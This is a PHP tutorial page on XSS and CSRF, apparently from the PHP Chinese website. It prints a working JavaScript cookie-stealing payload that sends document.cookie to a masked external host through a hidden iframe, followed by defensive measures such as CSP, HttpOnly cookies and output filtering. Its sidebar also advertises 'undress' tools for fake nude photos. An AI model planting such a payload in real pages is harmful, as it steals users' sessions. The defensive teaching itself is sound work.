Table of Contents
How to do
How to protect
Home Backend Development PHP Tutorial How to protect against XSS and CSRF attacks

How to protect against XSS and CSRF attacks

Mar 19, 2018 pm 01:04 PM
csrf attack protection


XSS: Cross-site scripting (often referred to as XSS) is a security vulnerability attack on website applications and is a type of code injection. It allows a malicious user to inject code onto a web page, which will affect other users when viewing the web page. This type of attack usually involves HTML and user-side scripting languages.

CSRF: Cross-site request forgery (English: Cross-site request forgery), also known as one-click attack or session riding, usually abbreviated as CSRF or XSRF, is a kind of coercion when the user is currently logged in An attack method that performs unintended operations on a web application.

A simple understanding is:

XSS: Through client-side scripting language (the most common such as: JavaScript)
Publishing a piece of malicious JavaScript code in a forum post is script injection. If this If the code content requests an external server, it is called XSS!

CSRF: Also known as XSRF, it pretends to be a user to initiate a request (without the user's knowledge), and completes some requests against the user's wishes (such as malicious posting, deleting posts, changing passwords, sending emails, etc.).

How to do

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);
Copy after login

How to protect

Central idea: All data from external sources must be filtered by our server code before it can be displayed on the page. In other words, all external data is illegal and must be filtered.

1. Try to use innerText (IE) and textContent (Firefox), that is, jQuery's text() to output text content
2. If you must use innerHTML and other functions, you need to do something similar to PHP Filtering of htmlspecialchars

3. When outputting html, add the Http Header of Content Security Policy
(Function: It can prevent the page from being attacked by XSS and embedding third-party script files, etc.)
( Defects: IE or lower version browsers may not support it)
4. When setting cookies, add the HttpOnly parameter
(Function: It can prevent the cookie information from being stolen when the page is attacked by XSS. It is compatible with IE6)
(Defect: The JS code of the website itself cannot operate cookies, and its function is limited and can only ensure the security of cookies)
5. When developing the API, check the Referer parameter of the request
(Function: Can prevent CSRF attacks to a certain extent)
(Defect: In IE or lower version browsers, the Referer parameter can be forged)

Related recommendations:

PHP implementation example code to prevent cross-site and xss attacks

Detailed explanation of JS writing XSS cookie stealer to steal passwords

Details of XSS and CSRF introduce

The above is the detailed content of How to protect against XSS and CSRF attacks. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Vue Development Notes: Avoid Common Security Vulnerabilities and Attacks Vue Development Notes: Avoid Common Security Vulnerabilities and Attacks Nov 22, 2023 am 09:44 AM

Vue is a popular JavaScript framework that is widely used in web development. As the use of Vue continues to increase, developers need to pay attention to security issues to avoid common security vulnerabilities and attacks. This article will discuss the security matters that need to be paid attention to in Vue development to help developers better protect their applications from attacks. Validating user input In Vue development, validating user input is crucial. User input is one of the most common sources of security vulnerabilities. When handling user input, developers should always

Cross-site scripting (XSS) and cross-site request forgery (CSRF) protection in Laravel Cross-site scripting (XSS) and cross-site request forgery (CSRF) protection in Laravel Aug 13, 2023 pm 04:43 PM

Cross-site scripting (XSS) and cross-site request forgery (CSRF) protection in Laravel With the development of the Internet, network security issues have become more and more serious. Among them, Cross-SiteScripting (XSS) and Cross-SiteRequestForgery (CSRF) are one of the most common attack methods. Laravel, as a popular PHP development framework, provides users with a variety of security mechanisms

Comparative analysis of PHP Session cross-domain and cross-site request forgery Comparative analysis of PHP Session cross-domain and cross-site request forgery Oct 12, 2023 pm 12:58 PM

Comparative analysis of PHPSession cross-domain and cross-site request forgery With the development of the Internet, the security of web applications has become particularly important. PHPSession is a commonly used authentication and session tracking mechanism when developing web applications, while cross-domain requests and cross-site request forgery (CSRF) are two major security threats. In order to protect the security of user data and applications, developers need to understand the difference between Session cross-domain and CSRF, and adopt

PHP Framework Security Guide: How to Prevent CSRF Attacks? PHP Framework Security Guide: How to Prevent CSRF Attacks? Jun 01, 2024 am 10:36 AM

PHP Framework Security Guide: How to Prevent CSRF Attacks? A Cross-Site Request Forgery (CSRF) attack is a type of network attack in which an attacker tricks a user into performing unintended actions within the victim's web application. How does CSRF work? CSRF attacks exploit the fact that most web applications allow requests to be sent between different pages within the same domain name. The attacker creates a malicious page that sends requests to the victim's application, triggering unauthorized actions. How to prevent CSRF attacks? 1. Use anti-CSRF tokens: Assign each user a unique token, store it in the session or cookie. Include a hidden field in your application for submitting that token

PHP security protection: Prevent malicious BOT attacks PHP security protection: Prevent malicious BOT attacks Jun 24, 2023 am 08:19 AM

With the rapid development of the Internet, the number and frequency of cyber attacks are also increasing. Among them, malicious BOT attack is a very common method of network attack. It obtains website background login information by exploiting vulnerabilities or weak passwords, and then performs malicious operations on the website, such as tampering with data, implanting advertisements, etc. Therefore, for websites developed using PHP language, it is very important to strengthen security protection measures, especially in preventing malicious BOT attacks. 1. Strengthen password security. Password security is to prevent malicious BOT attacks.

CSRF attack in PHP CSRF attack in PHP May 25, 2023 pm 08:31 PM

With the continuous development of the Internet, there are more and more web applications. However, security issues are also attracting more and more attention. CSRF (CrossSiteRequestForgery, cross-site request forgery) attack is a common network security problem. What is a CSRF attack? The so-called CSRF attack means that the attacker steals the user's identity and performs illegal operations in the user's name. In layman's terms, it means that the attacker uses the user's login status to perform some illegal operations without the user's knowledge.

The best solution for Nginx to prevent script attacks The best solution for Nginx to prevent script attacks Jun 10, 2023 pm 10:55 PM

The best solution for Nginx to prevent script attacks. Script attacks refer to the behavior of attackers using script programs to attack target websites to achieve malicious purposes. Script attacks come in various forms, such as SQL injection, XSS attacks, CSRF attacks, etc. In web servers, Nginx is widely used in reverse proxy, load balancing, static resource caching and other aspects. When facing script attacks, Nginx can also give full play to its advantages and achieve effective defense. 1. How Nginx implements script attacks in Ngin

What is Cross-Site Request Forgery (CSRF) and how do you implement CSRF protection in PHP? What is Cross-Site Request Forgery (CSRF) and how do you implement CSRF protection in PHP? Apr 07, 2025 am 12:02 AM

In PHP, you can effectively prevent CSRF attacks by using unpredictable tokens. Specific methods include: 1. Generate and embed CSRF tokens in the form; 2. Verify the validity of the token when processing the request.

See all articles